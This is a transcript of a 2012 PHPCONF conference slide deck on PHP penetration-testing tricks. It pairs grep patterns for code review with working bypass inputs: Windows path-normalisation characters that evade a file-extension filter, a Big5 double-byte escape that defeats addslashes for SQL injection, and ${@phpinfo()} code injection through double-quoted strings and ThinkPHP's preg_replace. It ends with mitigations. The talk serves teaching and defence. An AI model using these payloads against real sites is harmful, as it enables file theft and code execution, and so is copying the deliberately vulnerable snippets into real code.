SlideShare une entreprise Scribd logo
1  sur  47
Security in PHP
           那些在滲透測試的小技巧

2012/11/03 @ PHPCONF
 <Orange@chroot.org>
About Me

• 蔡政達 aka Orange
• 2009 台灣駭客年會競
  賽冠軍
• 2011 全國資安競賽金        • 專精於
  盾獎冠軍                 – 駭客攻擊手法
• 2011 東京 AVTOKYO 研    – Web Security
  討會講師                 – Windows Vulnerability
                         Exploitation
About Me

• CHROOT Security Group 成員
• NISRA 資訊安全研究會 成員
• 偶爾做做滲透測試、講講課、接接 case.

• Blog
  – http://blog.orange.tw/
This talk is just for fun.
    Don't be Serious. :)
何謂滲透測試 ?
What is Penetration Test ?
何謂安全的網頁應用程式 ?
                       (Defined by Orange)
What is a Secure Web Application ?
(駭客)看到 PHP 就高潮了。
          <資深駭客■■語錄>
暖身運動
Live Code Review.
Is This Code Safe Enough ?

<?php
    $url = $_GET['url'];
    echo urlencode( $url );
?>
漏洞簡單分級

• Low
  – Sensitive Information Leakage…
• Middle
  – Insecure File Download/Access…
• High
  – Local File Inclusion, Code Injection, SQL Inj…
Information Leakage
In Real World.

• Google://
  – site:yoursite "on
    line" Warning
  – site:yoursite "on
    line" "Fatal Error"
  – site:yoursite "on
    line" Notice
四個動作
• showNews.php?id=198
  – showNews.php?id=198/1
• checkName.php?u=lala
  – checkName.php?u=lala%cc'
• getFile.php?path=hsu.doc
  – getFile.php?path=./hsu.doc
• main.php?module=index
  – main.php?module[]=index
小故事
A True Story.
了解架構

1.   Router, Controller 如何做 URL Mapping
2.   內部代碼如何被調用
3.   物件導向,分層架構
4.   自己實現的 DB ORM

          「用 PHP 撐起整個世界」orz
Code Review

1. 從危險函數往上追
 – system exec shell_exec popen eval
   create_function call_user_func preg_replace…
2. 從使用者輸入往下追
 – _GET _POST _COOKIE _REQUEST _ENV _FILES
   _SERVER HTTP_RAW_POST_DATA php://input
   getenv …
• grep -Re
  – (include|require).+$
  – (eval|create_function|call_user_func|…).+$
  – (system|exec|shell_exec|passthru|…).+$
  – (select|insert|update|where|…).+$
  – (file_get_contents|readfile|fopen|…).+$
  – (unserialize|parse_str|…).+$
  – $$, $a()
  – ……
• grep -Re
  – $(_GET|_POST|_COOKIE|_REQUEST|_FILES)
  – $(_ENV|_SERVER)
  – getenv
  – HTTP_RAW_POST_DATA
  – php://input
  –…
Even Find a Typo Error...
try {
      ……
      $trans->commit();
} catch (xxx_adapter_exception $e) {
      $trans->rollback();
      require_once 'xxx_exceptio$n.class.php'
      throw new xxx_exception( …… );
}
結論,進入主題
Let's return the main topic.
幾乎沒人知道的其一
   1/3
PHP 路徑正規化
<?php
    $name = $_GET['name'];
    $name = basename( $name );
    if ( eregi( "(.php|.conf)$", $name ) )
           exit( "Not Allow PHP." );
    else
           readfile( DOCUMENT_ROOT. $name );
?>
PHP 路徑正規化

• down.php?name=   Original Will be replaced by
  – config.php        <               *
  – config"php        >               ?
  – config.ph>
                      "               .
  – config.<
                   Test on PHP 5.4.8
  – c>>>>>"<
                   newest stable version
  – c<"<           (2012/10/17)
因為是 Windows 嘛。ˊ_>ˋ
   This is Windows. ˊ_>ˋ
Digging into
PHP Source Code
• file_get_contents
  – > php_stream_open_wrapper_ex
  – > zend_resolve_path
  – > php_resolve_path_for_zend
  – > php_resolve_path
  – > tsrm_realpath
  – > virtual_file_ex
  – > tsrm_realpath_r
Win32API - FindFirstFile
PHP Functions
Depended on This API

•   file_get_contents        •   require
•   file_put_contents        •   require_once
•   file                     •   fopen
•   readfile                 •   opendir
•   phar_file_get_contents   •   readdir
•   include                  •   mkdir
•   include_once             •   ……
哈哈,你看看你。
Haha, look yourself.
On All Operation System

• config.php/.
• config.php///.
• c>>>>>.<///



Works on PHP 5.2.* (2012/10/26)
比較少人知道的其二
   2/3
Double-Byte Charset Escape


• Web Browser 接 PHP Output (HTML)
  – Cross-Site Scripting
• DB Management 接 PHP Output (SQL)
  – SQL Injection
name.php?n=PHPCONF
   SELECT * FROM [table]
 WHERE username = 'PHPCONF'
name.php?n=PHPCONF'
    SELECT * FROM [table]
 WHERE username = 'PHPCONF''
name.php?n=PHPCONF%cc'
      SELECT * FROM [table]
 WHERE username = 'PHPCONF%cc''
Big5            Σ( ° △ °|||)︴

        Before                After
 PHPCONF              PHPCONF
 PHPCONF'             PHPCONF'
 PHPCONF%80'          PHPCONF�'
 PHPCONF%cc'          PHPCONF岤'

「高位位元組」使用了0x81-0xFE
「低位位元組」使用了0x40-0x7E,及0xA1-0xFE。
Double-Byte Charset Escape


• addslashes
• mysql_escape_string
• magic_quote_gpc

• Special Cases
  – pdo
  – mysql_real_escape_st
    ring
也許你會知道的其三
   3/3
Double Quotes

•   $url = "http://phpconf.tw/2012/";
•   $url = "http://phpconf.tw/$year/";
•   $url = "http://phpconf.tw/{$year}/";
•   $url = "http://phpconf.tw/{${phpinfo()}}/";
•   $url = "http://phpconf.tw/${@phpinfo()}/";
config.php
     $dbuser = "root";

          情境 A
           install.php
<input type='text' name='dbuser'
          value='root'>
config.php
$dbuser = "${@phpinfo()}";

          情境 A
           install.php
<input type='text' name='dbuser'
     value='${@phpinfo()}'>
情境 B

$res =
preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e',
'$var['1']="2";', implode($depr,$paths));

https://orange.tw/index.php?s=module/action/
param1/${@phpinfo()}
情境 B
Think PHP 任意代碼執行漏洞
總結
Summary
Solutions
1. PHP 路徑正規化
  – 動態
  – 非動態
2. Double-Byte Charset Escape
  – UTF-8
  – 正確的編碼設定方式
3. Double Quotes Evaluate
  – Single Quotes
  – Notice Eval-like Functions
References

• PHP Security
  – http://blog.php-security.org/
• Oddities of PHP file access in Windows®.
  – http://onsec.ru/onsec.whitepaper-02.eng.pdf
Thanks.
<Orange@chroot.org>

Contenu connexe

Tendances

On secure application of PHP wrappers
On secure application  of PHP wrappersOn secure application  of PHP wrappers
On secure application of PHP wrappers
Positive Hack Days
 
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow
 

Tendances (20)

Php7 hhvm and co
Php7 hhvm and coPhp7 hhvm and co
Php7 hhvm and co
 
PHP 5.6 New and Deprecated Features
PHP 5.6  New and Deprecated FeaturesPHP 5.6  New and Deprecated Features
PHP 5.6 New and Deprecated Features
 
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
 
PSR-7 and PSR-15, why can't you ignore them
PSR-7 and PSR-15, why can't you ignore themPSR-7 and PSR-15, why can't you ignore them
PSR-7 and PSR-15, why can't you ignore them
 
On secure application of PHP wrappers
On secure application  of PHP wrappersOn secure application  of PHP wrappers
On secure application of PHP wrappers
 
PHP 5.5 Zend OPcache
PHP 5.5 Zend OPcachePHP 5.5 Zend OPcache
PHP 5.5 Zend OPcache
 
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
 
PHP 7 new engine
PHP 7 new enginePHP 7 new engine
PHP 7 new engine
 
はじめてのSymfony2
はじめてのSymfony2はじめてのSymfony2
はじめてのSymfony2
 
Awesome_fuzzing_for _pentester_red-pill_2017
Awesome_fuzzing_for _pentester_red-pill_2017Awesome_fuzzing_for _pentester_red-pill_2017
Awesome_fuzzing_for _pentester_red-pill_2017
 
From CGI to mod_perl 2.0, Fast!
From CGI to mod_perl 2.0, Fast! From CGI to mod_perl 2.0, Fast!
From CGI to mod_perl 2.0, Fast!
 
Die .htaccess richtig nutzen
Die .htaccess richtig nutzenDie .htaccess richtig nutzen
Die .htaccess richtig nutzen
 
WordPress Home Server with Raspberry Pi
WordPress Home Server with Raspberry PiWordPress Home Server with Raspberry Pi
WordPress Home Server with Raspberry Pi
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
 
44CON 2014 - Breaking AV Software
44CON 2014 - Breaking AV Software44CON 2014 - Breaking AV Software
44CON 2014 - Breaking AV Software
 
Last train to php 7
Last train to php 7Last train to php 7
Last train to php 7
 
ZFConf 2012: Dependency Management в PHP и Zend Framework 2 (Кирилл Чебунин)
ZFConf 2012: Dependency Management в PHP и Zend Framework 2 (Кирилл Чебунин)ZFConf 2012: Dependency Management в PHP и Zend Framework 2 (Кирилл Чебунин)
ZFConf 2012: Dependency Management в PHP и Zend Framework 2 (Кирилл Чебунин)
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradication
 
Twas the night before Malware...
Twas the night before Malware...Twas the night before Malware...
Twas the night before Malware...
 

En vedette

Res tful api design & implementation with code igniter php framework_appleboy
Res tful api design & implementation with code igniter php framework_appleboyRes tful api design & implementation with code igniter php framework_appleboy
Res tful api design & implementation with code igniter php framework_appleboy
Hash Lin
 
assigment3 team25266-121106124538-phpapp02
assigment3 team25266-121106124538-phpapp02assigment3 team25266-121106124538-phpapp02
assigment3 team25266-121106124538-phpapp02
Amirtha Radhakrishnan
 
Rbs juli-augustus 2015
Rbs juli-augustus 2015Rbs juli-augustus 2015
Rbs juli-augustus 2015
Rbs Jabbeke
 
Opening sequence film pitch
Opening sequence film pitchOpening sequence film pitch
Opening sequence film pitch
06tomasymm
 
Csütörtöki lányok
Csütörtöki lányokCsütörtöki lányok
Csütörtöki lányok
aromoj
 
результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...
результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...
результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...
oznob
 
Phpconf taiwan-2012
Phpconf taiwan-2012Phpconf taiwan-2012
Phpconf taiwan-2012
Hash Lin
 
Kathy Brown - MBO 2012 Presentation
Kathy Brown - MBO 2012 PresentationKathy Brown - MBO 2012 Presentation
Kathy Brown - MBO 2012 Presentation
kgbrown2010
 
2014 12-30-4de doenkerezeswekentocht
2014 12-30-4de doenkerezeswekentocht2014 12-30-4de doenkerezeswekentocht
2014 12-30-4de doenkerezeswekentocht
Rbs Jabbeke
 
Visual vocabulary
Visual vocabularyVisual vocabulary
Visual vocabulary
Ginny Mason
 

En vedette (20)

Res tful api design & implementation with code igniter php framework_appleboy
Res tful api design & implementation with code igniter php framework_appleboyRes tful api design & implementation with code igniter php framework_appleboy
Res tful api design & implementation with code igniter php framework_appleboy
 
Count&noncount
Count&noncountCount&noncount
Count&noncount
 
Ushuaia Ibiza Beach Facebook stm
Ushuaia Ibiza Beach Facebook stmUshuaia Ibiza Beach Facebook stm
Ushuaia Ibiza Beach Facebook stm
 
assigment3 team25266-121106124538-phpapp02
assigment3 team25266-121106124538-phpapp02assigment3 team25266-121106124538-phpapp02
assigment3 team25266-121106124538-phpapp02
 
HealthCare Reform Roadmap
HealthCare Reform RoadmapHealthCare Reform Roadmap
HealthCare Reform Roadmap
 
Rbs juli-augustus 2015
Rbs juli-augustus 2015Rbs juli-augustus 2015
Rbs juli-augustus 2015
 
Jesyyy
JesyyyJesyyy
Jesyyy
 
Instructional 1
Instructional 1Instructional 1
Instructional 1
 
A3 paronimy
A3 paronimyA3 paronimy
A3 paronimy
 
Opening sequence film pitch
Opening sequence film pitchOpening sequence film pitch
Opening sequence film pitch
 
Csütörtöki lányok
Csütörtöki lányokCsütörtöki lányok
Csütörtöki lányok
 
1CT 10 commandments of funding 2013
1CT  10 commandments of funding 20131CT  10 commandments of funding 2013
1CT 10 commandments of funding 2013
 
Lamaran mail
Lamaran mailLamaran mail
Lamaran mail
 
результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...
результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...
результаты диагностики знаний обучающихся 7 9 классов по русскому языку и мат...
 
Ershad17
Ershad17Ershad17
Ershad17
 
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
 
Phpconf taiwan-2012
Phpconf taiwan-2012Phpconf taiwan-2012
Phpconf taiwan-2012
 
Kathy Brown - MBO 2012 Presentation
Kathy Brown - MBO 2012 PresentationKathy Brown - MBO 2012 Presentation
Kathy Brown - MBO 2012 Presentation
 
2014 12-30-4de doenkerezeswekentocht
2014 12-30-4de doenkerezeswekentocht2014 12-30-4de doenkerezeswekentocht
2014 12-30-4de doenkerezeswekentocht
 
Visual vocabulary
Visual vocabularyVisual vocabulary
Visual vocabulary
 

Similaire à Orange@php conf

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Combell NV
 
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
Joseph Scott
 
PHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするPHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールする
Sotaro Omura
 
Building Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvBuilding Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenv
Yuya Takeyama
 

Similaire à Orange@php conf (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014
 
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
 
Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Php vulnerability presentation
Php vulnerability presentationPhp vulnerability presentation
Php vulnerability presentation
 
PHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするPHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールする
 
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
 
Api Design
Api DesignApi Design
Api Design
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Building Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvBuilding Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenv
 
Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
CodeIgniter i18n Security Flaw
CodeIgniter i18n Security FlawCodeIgniter i18n Security Flaw
CodeIgniter i18n Security Flaw
 

Orange@php conf

Notes de l'éditeur

  1. (視野真好)(重要的一天)
  2. 參考密碼怎麼設定
  3. 所以這些…因為剛剛的問題是 based on Windows API所以如果你不是用 windows ,而是 Linux 的用戶可能會說
  4. php,可愛的語言舉例、十種「不要以為我在唬爛你,等下Q&amp;A有時間馬上 demo 給你看」
  5. 不要忘記說 Q&amp;A